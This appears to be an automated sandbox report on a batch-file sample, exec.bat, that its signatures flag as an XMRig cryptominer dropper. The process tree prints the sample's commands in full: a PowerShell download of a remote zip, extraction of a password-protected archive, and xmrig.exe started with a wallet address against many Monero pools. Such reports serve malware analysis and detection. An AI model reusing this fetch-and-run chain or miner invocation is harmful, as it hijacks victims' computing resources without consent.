Analysis
-
max time kernel
878s -
max time network
885s -
platform
windows10-1703_x64 -
resource
win10-20231023-en -
resource tags
-
submitted
01/11/2023, 16:49
General
-
Target
exec.bat
-
Size
265B
-
MD5
9af2ed06e6ab40274fcf074efa29c149
-
SHA1
27f6ffb68ea4a7269e172ac6c4f750ccbb7f4dae
-
SHA256
f83a41d60790e114cfd91038dea87af4cc88733b24c36a0bd046a23352904977
-
SHA512
cba0714e21a167b00b5b16588d30ae31dd09752d25faa671cf2108c02194288ba509758476449f69a621d1239fc9365287cbdc3e34fb856870cffed7dffbb467
Malware Config
Signatures
-
XMRig Miner payload 64 IoCs
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Blocklisted process makes network request 1 IoCs
-
Executes dropped EXE 2 IoCs
-
Suspicious behavior: EnumeratesProcesses 9 IoCs
-
Suspicious behavior: LoadsDriver 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 9 IoCs
-
Suspicious use of FindShellTrayWindow 1 IoCs
-
Suspicious use of WriteProcessMemory 13 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\exec.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "Invoke-WebRequest -Uri https://litter.catbox.moe/9wbtsy.zip -OutFile files.zip"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "Expand-Archive -Path 'files.zip' -DestinationPath '.'"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "./7zr.exe e x.7z -pamogus6969"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zr.exe"C:\Users\Admin\AppData\Local\Temp\7zr.exe" e x.7z -pamogus69693⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K start.cmd2⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\xmrig.exexmrig.exe --donate-level 2 -o xmrpool.eu:9999 -u 88seE692F9h85d8sDL2wyRGML1WkYWdvr3fmH5FJnjXPbQTMjsVeVywUCJX9V4AP6S6coD1nTvvRNHF5ueYnBx8aFym1Txx -k --tls -o pool.xmrfast.com:9000 -u 88seE692F9h85d8sDL2wyRGML1WkYWdvr3fmH5FJnjXPbQTMjsVeVywUCJX9V4AP6S6coD1nTvvRNHF5ueYnBx8aFym1Txx -k --tls -o pool.supportxmr.com:443 -u 88seE692F9h85d8sDL2wyRGML1WkYWdvr3fmH5FJnjXPbQTMjsVeVywUCJX9V4AP6S6coD1nTvvRNHF5ueYnBx8aFym1Txx -k --tls -o pool.xmr.pt:9000 -u 88seE692F9h85d8sDL2wyRGML1WkYWdvr3fmH5FJnjXPbQTMjsVeVywUCJX9V4AP6S6coD1nTvvRNHF5ueYnBx8aFym1Txx -k --tls --coin monero -o xmr-us-west1.nanopool.org:14433 -u 88seE692F9h85d8sDL2wyRGML1WkYWdvr3fmH5FJnjXPbQTMjsVeVywUCJX9V4AP6S6coD1nTvvRNHF5ueYnBx8aFym1Txx --tls --coin monero -o monerohash.com:9999 -u 88seE692F9h85d8sDL2wyRGML1WkYWdvr3fmH5FJnjXPbQTMjsVeVywUCJX9V4AP6S6coD1nTvvRNHF5ueYnBx8aFym1Txx -k --tls -a rx/0 -o ca.monero.herominers.com:10191 -u 88seE692F9h85d8sDL2wyRGML1WkYWdvr3fmH5FJnjXPbQTMjsVeVywUCJX9V4AP6S6coD1nTvvRNHF5ueYnBx8aFym1Txx -k --tls -o pool.hashvault.pro:443 -u 88seE692F9h85d8sDL2wyRGML1WkYWdvr3fmH5FJnjXPbQTMjsVeVywUCJX9V4AP6S6coD1nTvvRNHF5ueYnBx8aFym1Txx -k --tls -o xmr.pool.gntl.co.uk:20009 -u 88seE692F9h85d8sDL2wyRGML1WkYWdvr3fmH5FJnjXPbQTMjsVeVywUCJX9V4AP6S6coD1nTvvRNHF5ueYnBx8aFym1Txx -k --tls3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD556efdb5a0f10b5eece165de4f8c9d799
SHA1fa5de7ca343b018c3bfeab692545eb544c244e16
SHA2566c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108
SHA51291e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc
-
Filesize
1KB
MD5769070454049bbe8c0c9e5d4ad70e06c
SHA117bec3420a2b21426bb6717985ba0c61fd07fd21
SHA2562896c3bc3e347269daca2ca019aa23326b9f8ebceb9530b2735a175107000c3a
SHA512353a95216fa13ec5a0f60eb9c4bffdf04fb172bfaef33263e5d286a8e422b355fd116520a15d14233bb2c73da9e7d9279baf4a927acb29471c34999cc5212b9e
-
Filesize
1KB
MD5689077259864edc45f83f61cf3f909a7
SHA18e57d177a1ebcfc8a55c8d1d9422193cd1e34907
SHA256a510713816fda85e5b52cf4fb25795f15e8850057690e8f8e670d05f8c7af3d0
SHA51295dfba8d3483bb6dd90251a8db128ab65b444fd7025c5e161af2a770d2a8ab62ac0726b1c698cadca8c383308a4c37528aa34a09285a3e72c1ac78db81d7212a
-
Filesize
571KB
MD558fc6de6c4e5d2fda63565d54feb9e75
SHA10586248c327d21efb8787e8ea9f553ddc03493ec
SHA25672c98287b2e8f85ea7bb87834b6ce1ce7ce7f41a8c97a81b307d4d4bf900922b
SHA512e7373a9caa023a22cc1f0f4369c2089a939ae40d26999ab5dcab2c5feb427dc9f51f96d91ef078e843301baa5d9335161a2cf015e09e678d56e615d01c8196df
-
Filesize
571KB
MD558fc6de6c4e5d2fda63565d54feb9e75
SHA10586248c327d21efb8787e8ea9f553ddc03493ec
SHA25672c98287b2e8f85ea7bb87834b6ce1ce7ce7f41a8c97a81b307d4d4bf900922b
SHA512e7373a9caa023a22cc1f0f4369c2089a939ae40d26999ab5dcab2c5feb427dc9f51f96d91ef078e843301baa5d9335161a2cf015e09e678d56e615d01c8196df
-
Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
-
Filesize
2.6MB
MD5bc2d23b8640cb0adeb6abedf21f8f1ad
SHA1ea14b8511c87bb1853d315ed73e9f1cbbcf7997e
SHA2567c74993c15f3ee8890047816ba52efc601fb901daf5a6c969aa04c934b1801f9
SHA512c6b537e326de7cfeee32f11477a41bbf0d45dcf104ecbffa765af09e20fdb64f45e022a3ba9755bd61791fb7c44317018d66923b6f51223df2a2d34927f8dd42
-
Filesize
1KB
MD59b02fd81dae8f292d7e69cfaf72d9204
SHA1e5c6345f44dac6c97fdf5ba5e5f0826d6ce18ddb
SHA256b459b571e881f3d083a869559e64b36bd80f77ca744211d2b79546aeed65d146
SHA5120a103ae47320268607615515f8bdc6ed630426ca055c3208a5613513505ab21f699a75d69da51ebb0fb36aaa57a2babbeacc5e965b4e712d547311224ed80f2d
-
Filesize
2.3MB
MD544075a11a1f6f20c370b01141e9e010b
SHA1d4107a6877af9b8f12df378c7b5d62dfc6a52549
SHA256643c4865ebbc810c7ce157edab89c021d3d31f725d1a73d2f3c423b8fc778cb3
SHA512f56451b623365e3dbd56eff083bf906a87f51511111aafe3f09ce649edf04fc8418f5d36f6d522c643cf57baff5fdca4c1d6901798fdbd88af8f0bb8c11583a2
-
Filesize
7.9MB
MD54813fa6d610e180b097eae0ce636d2aa
SHA11e9cd17ea32af1337dd9a664431c809dd8a64d76
SHA2569ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc
SHA5125463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa
-
Filesize
64KB
-
Filesize
9.9MB
-
Filesize
40KB
-
Filesize
72KB
-
Filesize
9.9MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
9.9MB
-
Filesize
9.9MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
136KB
-
Filesize
64KB
-
Filesize
9.9MB
-
Filesize
9.9MB
-
Filesize
64KB
-
Filesize
472KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
9.9MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
256KB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
11.0MB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
128KB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB